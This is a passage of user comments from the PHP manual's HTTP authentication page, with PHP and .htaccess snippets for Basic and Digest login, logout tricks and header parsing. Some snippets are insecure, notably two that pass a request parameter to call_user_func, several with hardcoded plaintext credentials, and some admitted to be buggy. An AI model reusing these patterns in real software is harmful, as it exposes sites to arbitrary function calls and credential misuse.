      $_SERVER['PHP_AUTH_USER'] = '';
      $_SERVER['PHP_AUTH_PW'] = '';
    }

    if ($_SERVER['PHP_AUTH_USER'] != $your_username || $_SERVER['PHP_AUTH_PW'] != $your_password ) {
      $_SESSION['http_logged'] = 1;
      header('WWW-Authenticate: Basic realm="realm"');
      header('HTTP/1.0 401 Unauthorized');
      exit;
    } else {
      $_SESSION['http_logged'] = 0;
    }
?>
Anonymous 06-Mar-2011 06:22
Quickly and without combining, for example, we do a new folder LOGOUT and throw to him .htaccess files with some virtual user:

AuthName "protected area"
Access allow all users Logout

set the error page 401

ErrorDoc 401 "protected area"

and set a link to our new folder <a href="./logout/">logout</ a>
... when I click on enter into a virtual folder with a security dialog to confirm the login without supplying a user name and password and are logged off. Works on FF, IE, Opera ...
ceo at l-i-e dot com 13-Oct-2010 03:51
To force a logout with Basic Auth, you can change the Realm out from under them to a different Realm.

This forces a new set of credentials for a new "Realm" on your server.

You just need to track the Realm name with the user/pass and change it around to something new/random as they log in and out.

I believe that this is the only 100% guaranteed way to get a logout in HTTP Basic Auth, and if it were part of the docs a whole lot of BAD user-contributed comments here could be deleted.
Ollie L 24-Sep-2010 04:16
I tried example 7, and at first I couldn't get it to work. It took me a while to spot that somewhere along the line, probably by the server, a seemingly random number was being added to the realm - so the valid_result variable wasn't calculated using the correct realm.

To get around this, or any similar problems, make the following changes to the example:

Around line 43 (44 if after next step ;) ):
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1, 'realm'=>1);

Before line 24:
$realm = $data['realm'];

These two steps get the real realm used for the authentication request, and substitute it into the "valid_response" query.

Hope this helps :)
idbobby at rambler dot ru 12-Aug-2010 02:31
First of all, sorry for my English.
One more authorization script with logout solution.
In script given by meint_at_meint_dot_net (http://www.php.net/manual/en/features.http-auth.php#93859) rewrite_module is used. If there are any problems with that module and possibilities of administration of the web-server are restricted (including restrictions for use of .htaccess) then you can use this solution.

index.php
---------

<?php

$auth_realm = 'My realm';

require_once 'auth.php';

echo "You've logged in as {$_SESSION['username']}<br>";
echo '<p><a href="?action=logOut">LogOut</a></p>'

?>

auth.php
--------

<?php

$_user_ = 'test';
$_password_ = 'test';

session_start();

$url_action = (empty($_REQUEST['action'])) ? 'logIn' : $_REQUEST['action'];
$auth_realm = (isset($auth_realm)) ? $auth_realm : '';

if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        echo 'Function does not exist, request terminated';
    };
};

function logIn() {
    global $auth_realm;

    if (!isset($_SESSION['username'])) {
        if (!isset($_SESSION['login'])) {
            $_SESSION['login'] = TRUE;
            header('WWW-Authenticate: Basic realm="'.$auth_realm.'"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'You must enter a valid login and password';
            echo '<p><a href="?action=logOut">Try again</a></p>';
            exit;
        } else {
            $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
            $password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
            $result = authenticate($user, $password);
            if ($result == 0) {
                $_SESSION['username'] = $user;
            } else {
                session_unset($_SESSION['login']);
                errMes($result);
                echo '<p><a href="">Try again</a></p>';
                exit;
            };
        };
    };
}

function authenticate($user, $password) {
    global $_user_;
    global $_password_;

    if (($user == $_user_)&&($password == $_password_)) { return 0; }
    else { return 1; };
}

function errMes($errno) {
    switch ($errno) {
        case 0:
            break;
        case 1:
            echo 'The username or password you entered is incorrect';
            break;
        default:
            echo 'Unknown error';
    };
}

function logOut() {

    session_destroy();
    if (isset($_SESSION['username'])) {
        session_unset($_SESSION['username']);
        echo "You've successfully logged out<br>";
        echo '<p><a href="?action=logIn">LogIn</a></p>';
    } else {
        header("Location: ?action=logIn", TRUE, 301);
    };
    if (isset($_SESSION['login'])) { session_unset($_SESSION['login']); };
    exit;
}

?>
Ome Ko 25-Mar-2010 03:04
a link to http://logout:logout@<?=$_SERVER['HTTP_HOST'];?>/SECRET/ would force a fresh login for the /SECRET directory if no user logout with password logout exists.

[NOTE BY danbrown AT php DOT net: The following note was added by "Anonymous" on 01-APR-2010 (though we presume it's not an April Fool's Day joke).]

this logout method does not work 100% anymore, because of another bulls**t from M$:
http://support.microsoft.com/kb/834489
admin at torrentsbook dot com 29-Oct-2009 10:20
PHP-CGI auth fix:

<?php
if(isset($_SERVER['HTTP_AUTHORIZATION'])) {
  $auth_params = explode(":" , base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));
  $_SERVER['PHP_AUTH_USER'] = $auth_params[0];
  unset($auth_params[0]);
  $_SERVER['PHP_AUTH_PW'] = implode('',$auth_params);
}
?>

Fixes autorization with passwords, containing ":" symbol
ale (at) tana (dot) it 20-Oct-2009 10:52
After we do auth with PHP in Apache, we miss the userid in the access.log file, unless we redefine the LogFormat to be "%{REMOTE_USER}e" rather than "%u", and upon successful authentication we do
<?php
   apache_setenv('REMOTE_USER', $user);
?>
meint at meint dot net 03-Oct-2009 11:41
The definitive "logout" solution for Basic Authentication

As asserted by many on this page "Basic Authentication" has nog "logout" feature. There is however a standards based method (RFC2617) by which you can make the basic authentication session unique and therefore can emulate a log out function. This function works in all situations and across all browsers which is not the case for most solutions on this page.

The RFC2617 HTTP Authentication standard states that two elements determine the protection space:
- realm, a self chosen, server provided string identifier
- abs_path (i.e. the url)

By making both elements unique and changing them at the log out you will break (and "logout") the basic authentication.

The solution requires the use of mod_rewrite to direct traffic for non-existent resources to the index.php file. Please place a .htaccess file with the following contents in the folder that you wish to protect:

.htaccess:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [NC,L]

Please place an index.php file in the same folder (/auth in this example) with the following content:
<?php

session_start();

if (empty($_SESSION['session_id'])) {
    session_regenerate_id();
    $_SESSION['session_id'] = session_id();
    header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
}

$url_action = (empty($_REQUEST['action'])) ? 'HomePage' : $_REQUEST['action'];
if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        print 'Function does not exist, request terminated';
    }
}

function HomePage() {
    print '<h1>Homepage</h1>';
    print '<p><a href="?action=LogIn">LogIn</a></p>';
    print '<p><a href="?action=LogOut">LogOut</a></p>';
    print '<p><a href="?action=SecureContent">Secure Content</a></p>';
}

function LogIn($url='') {
    $session_id = $_SESSION['session_id'];
    while (!IsAuthenticated()) {
        header('WWW-Authenticate: Basic realm="' . $session_id . '"');
        header('HTTP/1.1 401 Unauthorized');
        die('Authorization Required');
    }
    if (!empty($url)) {
        return TRUE;
    } else {
        header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
    }
}

function LogOut() {
    session_destroy();
    session_unset($_SESSION['session_id']);
    header("Location: /auth/", TRUE, 301);
}

function SecureContent() {
    if (LogIn("SecureContent")) {
        print '<h1>Secure Content</h1>';
        print '<p>This is secure content</p>';
        print '<p><a href="/auth/' . $_SESSION['session_id'] . '/?action=HomePage">Home Page</a></p>';
    } else {
        print '<h1>Not Authorized</h1>';
    }
}

function IsAuthenticated() {
    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
        $httpd_username = filter_var($_SERVER['PHP_AUTH_USER'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        $httpd_password = filter_var($_SERVER['PHP_AUTH_PW'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        if ($httpd_username == "test" && $httpd_password == "test") {
            return TRUE;
        } else {
            return FALSE;
        }
    }
    return FALSE;
}

?>

Both files need to be put in a folder named /auth for these examples to work. You can change the folder name in the index.php example to suit your own environment.

A the start of the script a unique id is generated through PHP session mechanism and this session id is inserted into the url (hence the requirement for mod_rewrite to catch these urls). A redirect takes place to this new url and the homepage is shown. If you click on login a 401 header is generated using a realm that uses the same session id. If you click logout the current session id is destroyed and you are redirected to the start of the script where a new session id is generated. If you click on a protected item without a login the login function is called.
Anonymous 09-Sep-2009 10:02
The regex in http_digest_parse from Example #2 does not work for me (PHP 5.2.6), because back references are not allowed in a character class.  This worked for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt)
{
   // protect against missing data
   $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
   $data = array();

   preg_match_all('@(\w+)=(?:(?:\'([^\']+)\'|"([^"]+)")|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

   foreach ($matches as $m) {
       $data[$m[1]] = $m[2] ? $m[2] : ($m[3] ? $m[3] : $m[4]);
       unset($needed_parts[$m[1]]);
   }

   return $needed_parts ? false : $data;
}

?>
s dot i dot g at gmx dot com 06-Sep-2009 12:34
<?php

// try to mimic cpanel logout style
// only diff is usr & pwd field is cleared when re-login
// tested with ff2 & ie8

session_start();

$username = "test";
$password = "test";

if(isset($_GET['logout']))
{
  unset($_SESSION["login"]);
  echo "You have logout ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($_SESSION["login"]))
{
  header("WWW-Authenticate: Basic realm=\"Test\"");
  header("HTTP/1.0 401 Unauthorized");
  $_SESSION["login"] = true;
  echo "You are unauthorized ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}
else
{
  if($_SERVER['PHP_AUTH_USER'] == $username && $_SERVER['PHP_AUTH_PW'] == $password)
  {
    echo "You have logged in ... ";
    echo "[<a href='" . $_SERVER['PHP_SELF'] . "?logout'>Logout</a>]";
  }
  else
  {
    unset($_SESSION["login"]);
    header("Location: " . $_SERVER['PHP_SELF']);
  }
}

// content here

?>
norther 25-Jun-2009 12:36
If you are using PHP + IIS, make sure to set HTTP Error 401;5 to Default in IIS directory config. Otherwise it won't prompt for username and password but just show an error message.
jon at toolz4schoolz dot com 16-Apr-2009 06:10
I can't get the second example to work. The regular expression is beyond the scope of this programmer so I rewrote it as seven easy-to-read regular expressions and it works.

Here's the whole function http_digest_parse() that works for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt) {

// protect against missing data
/*
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();

preg_match_all('@(\w+)=(?:([\'"])([^\2]+)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
    $data[$m[1]] = $m[3] ? $m[3] : $m[4];
    unset($needed_parts[$m[1]]);
}
*/

$res = preg_match("/username=\"([^\"]+)\"/i", $txt, $match);
$data['username'] = $match[1];
$res = preg_match('/nonce=\"([^\"]+)\"/i', $txt, $match);
$data['nonce'] = $match[1];
$res = preg_match('/nc=([0-9]+)/i', $txt, $match);
$data['nc'] = $match[1];
$res = preg_match('/cnonce=\"([^\"]+)\"/i', $txt, $match);
$data['cnonce'] = $match[1];
$res = preg_match('/qop=([^,]+)/i', $txt, $match);
$data['qop'] = $match[1];
$res = preg_match('/uri=\"([^\"]+)\"/i', $txt, $match);
$data['uri'] = $match[1];
$res = preg_match('/response=\"([^\"]+)\"/i', $txt, $match);
$data['response'] = $match[1];

//return $needed_parts ? false : $data;
return $data;

}

?>
Yuriy 15-Feb-2009 06:11
Good day.
Sorry for my english.
This example shows programming "LOGIN", "LOGOUT" and "RE-LOGIN".
This script must use in the protected pages.
For work this script the browser address string must be following:
"http://localhost/admin/?login" - for Login,
"http://localhost/admin/?logout" - for Logout,
"http://localhost/admin/?logout&login" - for Re-Login.
<?php
session_start();

$authorized = false;

# LOGOUT
if (isset($_GET['logout']) && !isset($_GET["login"]) && isset($_SESSION['auth']))
{
    $_SESSION = array();
    unset($_COOKIE[session_name()]);
    session_destroy();
    echo "logging out...";
}

# checkup login and password
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW']))
{
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && isset($_SESSION['auth']))
    {
    $authorized = true;
    }
}

# login
if (isset($_GET["login"]) && !$authorized ||
# relogin
    isset($_GET["login"]) && isset($_GET["logout"]) && !isset($_SESSION['reauth']))
{
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    $_SESSION['reauth'] = true;
    echo "Login now or forever hold your clicks...";
    exit;
}
$_SESSION['reauth'] = null;
?>
<h1>you have <? echo ($authorized) ? (isset($_GET["login"]) && isset($_GET["logout"]) ? 're' : '') : 'not '; ?>logged!</h1>
byoung at bigbluehat dot com 16-Dec-2008 12:02
The sample from danja at k0a1a dot net is great for getting started. However, it has some typos. Below is a slightly revised version that should work "out of the box":

<?php
session_start();

$authorized = false;

if(isset($_GET['logout']) && ($_SESSION['auth'])) {
    $_SESSION['auth'] = null;
    session_destroy();
    echo "logging out...";
}

if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && (!empty($_SESSION['auth']))) {
        $authorized = true;
    }
}

if (isset($_GET["login"]) && (! $authorized)) {
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    print('Login now or forever hold your clicks...');
    exit;
}

?>

<h1>you have <? echo ($authorized) ? '' : 'not'; ?> logged!</h1>
danja at k0a1a dot net 17-Sep-2008 09:42
a simplistic login/logout script, mainly for development of user-customizable pages.

<?php
session_start();

$autorized = false;

if(isset($_GET['logout']) && ($_SESSION['auth'])) {
    $_SESSION['auth'] = null;
    session_destroy();
    echo "logging out...";
}

if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
    $user = test;
    $pass = test;
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && ($_SESSION['auth'])) {
        $authorized = true;
    }
}

if (isset($_GET["login"]) && (! $authorized)) {
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    print('Login now or forever hold your clicks...');
    exit;
}

?>

<h1>you have <? echo ($authorized) ? '' : 'not'; ?> logged!</h1>

<?

?>
fakeraol at hotmail dot com 02-Sep-2008 02:29
please remove my other posting, it was just a quickfix.
here is a real solution for both auth-digest-example and the contribution of AlexTM, witch does not work with Internet Explorer:

<?php
function http_digest_parse($digest) {
                     # edit needed parts, as you  want
    preg_match_all('@(username|nonce|uri|nc|cnonce|qop|response)'.
                    '=[\'"]?([^\'",]+)@', $digest, $t);
    $data = array_combine($t[1], $t[2]);
                     # all parts found?
    return (count($data)==7) ? $data : false;
}
?>
yaqy at qq dot com 20-Jul-2008 10:38
<?php
/*
* qq: 290359552
* return string : "error" or array("user","pass");
*/
function auth()
{
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        header('WWW-Authenticate: Basic realm="My Realm"');
        header('HTTP/1.0 401 Unauthorized');
        return "error";
    } else {
        return array( $_SERVER['PHP_AUTH_USER'] , $_SERVER['PHP_AUTH_PW'] );
    }
}
// test:
$au= auth();
print_r( $au );
?>
silkensedai at online dot fr 16-Apr-2008 09:21
Here is my code for basic authentification login/logout.

Include that code before any of your files:
<?php
function redirect_back($http=true, $html=true, $back=NULL){
    if(is_null($back)){
        if(isset($_REQUEST['referer'])){
            $back = $_REQUEST['referer'];
        //}elseif(isset($_SERVER['HTTP_REFERER'])){
        //    $back = isset($_SERVER['HTTP_REFERER']);
        }else{
            $back = "index.html";
        }
    }
    if($http) header("Location: $back");
    if($html){
        $back = htmlspecialchars($back);
        print <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="refresh" content="0; url=$back">
  </head>
  <body>
    <h1>HTTP/1.0 401 Unauthorized</h1>
    <p><a href="$back">Go back</a></p>
  </body>
</html>
EOF;
        exit();
    }
}
$userid = 0;
$username = false;
if(isset($_SERVER['PHP_AUTH_USER']) and $_SERVER['PHP_AUTH_USER']){
    $username = $_SERVER['PHP_AUTH_USER'];
    $userid = authenticate($username, $_SERVER['PHP_AUTH_PW']);
    if($userid===false) $username=false; // login failed
}
// If login succeeded (we have a username) or logout succeeded (no username)
if(isset($_GET['login']) && $username || isset($_GET['logout']) && !$username){
    // Go back
    redirect_back();
}elseif(isset($_GET['login']) || isset($_GET['logout'])){
    // Ask for password
    header('WWW-Authenticate: Basic realm=""');
    header('HTTP/1.0 401 Unauthorized');
    redirect_back(false);
}
?>

You have to test of $username is not false if you want to be sure the user is authenticated.

Example of use in HTML code:

<?php if($username){ ?>
            <p>You are logged in with username <?php print htmlspecialchars($username); ?>.</p>
            <ul>
                <li><a href="?logout&amp;referer=<?php print htmlspecialchars(urlencode($_SERVER['PHP_SELF'])); ?>">logout</a></li>
            </ul>
<?php }else{ ?>
            <p>You are anonymous.</p>
            <ul>
                <li><a href="?login&amp;referer=<?php print htmlspecialchars(urlencode($_SERVER['PHP_SELF'])); ?>">login</a></li>
            </ul>
<?php } ?>
AlexTM - alextm84 at gmail dot com 12-Mar-2008 04:04
/* Bug fix of my previous note: a dot was missing */

I have written this code to use the Digest
authentication with PHP on both APACHE
and IIS_ISAPI.
This code fixes the differences between
the two modules.

I hope this will help.

AlexTM - Alessandro Cosci

<?php
    session_start();

    $realm = 'My Realm';
    $logged = false;
    //user => password
    $users = array('user1' => 'psw1', 'user2' => 'psw2'); // ...

    // We need to test which server authentication variable to use
    // because the PHP ISAPI module in IIS acts different from CGI
    if(isset($_SERVER['PHP_AUTH_DIGEST']))
    {
        $auth_data = $_SERVER['PHP_AUTH_DIGEST'];
        $isapi = false;
    }
    elseif(isset($_SERVER['HTTP_AUTHORIZATION']))
    {
        $auth_data = $_SERVER['HTTP_AUTHORIZATION'];
        $isapi = true;
    }
    else
        $auth_data = "";

    /* The $_SESSION['error_prompted'] variabile is used to ask
       the password again if none given or if the user enters
       a wrong auth. informations. */
    if (
        ($auth_data == "") ||
        (isset($_SESSION['error_prompted']) && $_SESSION['error_prompted']==true)
       )
    {
        $uniqid = uniqid(""); // Empty argument for backward compatibility
        $_SESSION['error_prompted'] = false;
        header('HTTP/1.1 401 Unauthorized');
        header('WWW-Authenticate: Digest realm="'.$realm.
               '" qop="auth" nonce="'.$uniqid.'" opaque="'.md5($realm).'"');

        die("You're not allowed to access this page.");
    }
    else
    {
        // We need to retrieve authentication informations from the $auth_data variable
        if(!$isapi)
        {
            // CGI doesn't add backslashes to the authentication informations
            // and doesn't prepend the "Digest " string before username.
            // Furthermore it doesn't enclose the "qop" field between double quotes
            preg_match('/username="(?P<username>.*)"' .
                       ',\s*realm="(?P<realm>.*)"' .
                       ',\s*nonce="(?P<nonce>.*)"' .
                       ',\s*uri="(?P<uri>.*)"' .
                       ',\s*response="(?P<response>.*)"' .
                       ',\s*opaque="(?P<opaque>.*)"' .
                       ',\s*qop=(?P<qop>.*)' .
                       ',\s*nc=(?P<nc>.*)' .
                       ',\s*cnonce="(?P<cnonce>.*)"/i', $auth_data, $digest);
        }
        else
        {
            // ISAP adds backslashes to the authentication informations
            // and prependa the "Digest " string before username.
            // Furthermore it encloses the "qop" field between double quotes
            preg_match('/digest\susername="(?P<username>.*)"' .
                       ',\s*realm="(?P<realm>.*)"' .
                       ',\s*nonce="(?P<nonce>.*)"' .
                       ',\s*uri="(?P<uri>.*)"' .
                       ',\s*response="(?P<response>.*)"' .
                       ',\s*opaque="(?P<opaque>.*)"' .
                       ',\s*qop=(?P<qop>.*)' .
                       ',\s*nc=(?P<nc>.*)' .
                       ',\s*cnonce="(?P<cnonce>.*)"/i', stripslashes($auth_data), $digest);
            // Sometimes ISAPI uses qop="auth", and sometimes it uses qop=auth
            $digest['qop'] = str_replace("\"", "", $digest['qop']);
        }

        if (!isset($users[$digest['username']]))
        {
            $_SESSION['error_prompted'] = true;
            die('Username not valid!');
        }
        else
        {
            // This is the valid response expected
            $A1 = md5($digest['username'] . ':' . $realm . ':' . $users[$digest['username']]);
            $A2 = md5($_SERVER['REQUEST_METHOD'].':'.$digest['uri']);
            $valid_response = md5($A1.':'.$digest['nonce'].':'.$digest['nc'].':'.
                                  $digest['cnonce'].':'.$digest['qop'].':'.$A2);

            if ($digest['response'] != $valid_response)
            {
                $error_message = 'Wrong Credentials!';
                $_SESSION['error_prompted'] = true;
            }
            else
            {
                // Ok, valid user/password
                echo 'You are logged in as: ' . $digest['username'];
                $logged = true;
            }
        }
    }

?>
yuriry at gmail dot com 09-Mar-2008 08:22
This example did not work for me too.  The problem is only the second branch matches.  This is why the trimming was required in the previous post.  In addition, if there are spaces in the realm name, the second branch truncates the name.

I started from a simple regular expression to at least get the right number of matches:

  preg_match_all('@(\w+)=[^,]+,?@',
    $txt, $matches, PREG_SET_ORDER);

The next step was to replace [^,]+ with the right sub-patterns to distinguish between quoted and non-quoted values:

  preg_match_all('@(\w+)=(?:([\'"])([^\'"]+)(?:\2)|(\w+)),?@',
    $txt, $matches, PREG_SET_ORDER);

Branch ([\'"])([^\'"]+)(?:\2) matches quoted values and branch (\w+) matches non-quoted values.

The problem with the first branch is that the middle sub-pattern ([^\'"]+) matches both single and double quotes, and the author definitely intended to use back-references to solve it.  Unfortunately, I could not figure out how to use back-references inside a character class.  From the documentation it does not seem possible and I ended up duplicating ([\'"])([^\'"]+)(?:\2) branch to deal with single and double quotes separately:

  preg_match_all(
    '@(\w+)=(?:([\'])([^\']+)(?:\2)|(["])([^"]+)(?:\4)|(\w+)),?@',
    $txt, $matches, PREG_SET_ORDER);

The assignment to the $data array in the foreach loop needs to be changed to reflect different number of sub-patterns:

  $data[$m[1]] = $m[6] ? $m[6] : ($m[5] ? $m[5] : $m[3]);

Note that no trimming is required and the expression handles spaces in quoted values.  It would also be interesting to know if it is possible to use back-references inside a character class.
Lars Stecken 12-Feb-2008 10:23
To anybody who tried the digest example above and didn't get it to work.

For me the problem seemed to be the deprecated use of '\' (backslash) in the regex instead of the '$' (Dollar) to indicate a backreference. Also the results have to be trimmed off the remaining double and single quotes.

Here's the working example:

// function to parse the http auth header
function http_digest_parse($txt)
{

    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();

    preg_match_all('@(\w+)=(?:([\'"])([^$2]+)$2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? trim($m[3],"\",'") : trim($m[4],"\",'");
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}

Probably there's a more sophisticated way to trim the quotes within the regex, but I couldn't be bothered :-)

Greets, Lars
mt at shrewsbury dot org dot uk 12-Oct-2007 02:28
On my servers here, the standard rewrite spell

RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

to set $_SERVER[REMOTE_USER] with digest authentication results in the entire digest being bundled into $_SERVER[REMOTE_USER]

I have used this :

RewriteCond %{HTTP:Authorization} username=\"([^\"]+)\"
RewriteRule .* - [E=REMOTE_USER:%1,L]

And it seems to work successfully.
gbelyh at gmail dot com 26-Jul-2007 11:48
Back to the autherisation in CGI mode. this is the full working example:

#  Create the .htaccess file with following contents:
# also you can use the condition (search at this page)
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

# In the beginning the script checking the authorization place the code:

$userpass = base64_decode(substr($_SERVER["REDIRECT_REMOTE_USER"],6)) ;

$userpass = explode(":", $userpass);

if (  count($userpass) == 2  ){
     #this part work not for all.
     #print_r($userpass);die; #<- this can help find out right username and password
     list($name, $password) = explode(':', $userpass);
     $_SERVER['PHP_AUTH_USER'] = $name;
     $_SERVER['PHP_AUTH_PW'] = $password;

}
tonwyatt at yahoo dot com 24-Jul-2007 01:27
Here is my attempt to create a digest authentication class that will log the user in and out without using a cookie,session,db,or file. At the core is this simple code to parse the digest string into variables works for several browsers.
<?php
// explode the digest with multibrowser support by Tony Wyatt 21jun07
public function explodethedigest($instring) {
$quote = '"';
$equal = '=';
$comma = ',';
$space = ' ';
$a = explode( $comma, $instring);
$ax = explode($space, $a[0]);
$b = explode( $equal, $ax[1], 2);
$c = explode( $equal, $a[1], 2);
$d = explode( $equal, $a[2], 2);
$e = explode( $equal, $a[3], 2);
$f = explode( $equal, $a[4], 2);
$g = explode( $equal, $a[5], 2);
$h = explode( $equal, $a[6], 2);
$i = explode( $equal, $a[7], 2);
$j = explode( $equal, $a[8], 2);
$k = explode( $equal, $a[9], 2);
$l = explode( $equal, $a[10], 2);
$parts = array(trim($b[0])=>trim($b[1], '"'), trim($c[0])=>trim($c[1], '"'), trim($d[0])=>trim($d[1], '"'), trim($e[0])=>trim($e[1], '"'), trim($f[0])=>trim($f[1], '"'), trim($g[0])=>trim($g[1], '"'), trim($h[0])=>trim($h[1], '"'), trim($i[0])=>trim($i[1], '"'), trim($j[0])=>trim($j[1], '"'), trim($k[0])=>trim($k[1], '"'), trim($l[0])=>trim($l[1], '"'));

return $parts;
}
?>
Give it a try at http://tokko.kicks-ass.net/tests/ta1.php Log in with user test password pass or user guest password guest. Go to page two for links to the code. Comments, ideas, suggestions, or critique welcome.
Jack Bates 18-Jul-2007 01:01
In writing the HTTP auth module for the Gallery project, we discovered the following tricks for logging out with HTTP authentication:

Because most web browsers cache HTTP auth credentials, the Gallery logout link didn't work as expected after logging in with HTTP auth. Gallery correctly logged out the active user but the web browser simply logged in again with the next request.

To work around this, the HTTP auth module listens for the Gallery::Logout event and delegates to the httpauth.TryLogout page if necessary: http://gallery.svn.sourceforge.net/viewvc/gallery
/trunk/gallery2/modules/httpauth/TryLogout.inc?view=markup

The TryLogout page tries clearing the browser's authentication cache by as many tricks possible:

    * Ask browser to authenticate with bogus authtype:

GalleryUtilities::setResponseHeader('HTTP/1.0 401 Unauthorized', false);
GalleryUtilities::setResponseHeader('WWW-Authenticate: Bogus', false);

    * Redirect with random username and password. This won't actually clear the browser's authentication cache but will replace it with an invalid username and password. Since Gallery ignores invalid HTTP auth credentials, this effectively logs the user out.

    * Clear Internet Explorer's authentication cache with JavaScript:

 try {ldelim}
   {* http://msdn.microsoft.com/workshop/author
/dhtml/reference/constants/clearauthenticationcache.asp *}
   document.execCommand("ClearAuthenticationCache");
 {rdelim} catch (exception) {ldelim}
 {rdelim}

The TryLogout page redirects to the FinishLogout page for two resons:

   1. To replace the browser's authentication cache with an invalid username and password
   2. To check that the user was indeed logged out. If the user was logged out, the FinishLogout page redirects back to the Gallery application. Otherwise it displays a warning advising the user to manually clear their authentication cache (Clear Private Data in Firefox).

The TryLogout page redirects to the FinishLogout page using JavaScript and falls back on a manual link. It can't use a 302 Found status because the page needs to load for the Internet Explorer JavaScript to execute and because we can't put an invalid username and password in a Location: header.

http://codex.gallery2.org/Gallery2:Modules:httpauth
rovok at web dot de 03-Apr-2007 12:05
People are encouraged NOT to use register_globals, but Example 34.2. of german PHP documentation (http://de.php.net/manual/de/features.http-auth.php) uses register_globals in their example, assumed that the example is the whole script.

There is a <form> which has an <input> with type = "hidden", a name = "SeenBefore" and a value = "1". The Form is submitted by POST, so $SeenBefore should better be accessed by $_POST['SeenBefore'] instead of $SeenBefore.
Dutchdavey 16-Mar-2007 07:28
My sincere thanks to: webmaster at kratia dot com 21-Feb-2007 01:53

The principle is to not allow an invalid PHP_AUTH_USER to exist.

The following easy peasy example using Oracle is based on his simple genius:

///////////////////////////////////////////////////////////////
//
// do_html_header
//
// This function outputs the html header for the page.
//
//////////////////////////////////////////////////////////////////
function initialize_session()
{
   $err=error_reporting(0);
   $connection=oci_connect($_SERVER['PHP_AUTH_USER'],
                          $_SERVER['PHP_AUTH_PW'],$databasename) ;
   error_reporting($err);
   if (!$connection)
   {
      header('WWW-Authenticate: Basic Realm="ZEIP1"');
      header('HTTP/1.0 401 Unauthorized');
      echo "Login Cancelled';
      exit;
   }
   ..
   Normal Code..
   ..
}
Nicolas Merlet - admin(at)merletn.org 05-Mar-2007 09:37
Be careful using http digest authentication (see above, example 34.2) if you have to use the 'setlocale' function *before* validating response with the 'http_digest_parse' function, because there's a conflict with \w in the pattern of 'preg_match_all' function :

In fact, as \w is supposed to be any letter or digit or the underscore character, you must not forgot that this may vary depending on your locale configuration (eg. it accepts accented letters in french)...

Due to this different pattern interpretation by the 'preg_match_all' function, the 'http_digest_parse' function will always return a false result if you have modified your locale (I mean if your locale accepts some extended characters, see http://fr.php.net/manual/en/reference.pcre.pattern.syntax.php for further information).

IMHO, I suggest you not to use setlocale before having your authentication completed...

PS : Here's a non-compatible setlocale declaration...
setlocale ( LC_ALL, 'fr_FR', 'fr', 'FR', 'french', 'fra', 'france', 'French', 'fr_FR.ISO8859-1' ) ;
webmaster at kratia dot com 20-Feb-2007 04:53
This is the simplest form I found to do a Basic authorization with retries.

<?php

$valid_passwords = array ("mario" => "carbonell");
$valid_users = array_keys($valid_passwords);

$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];

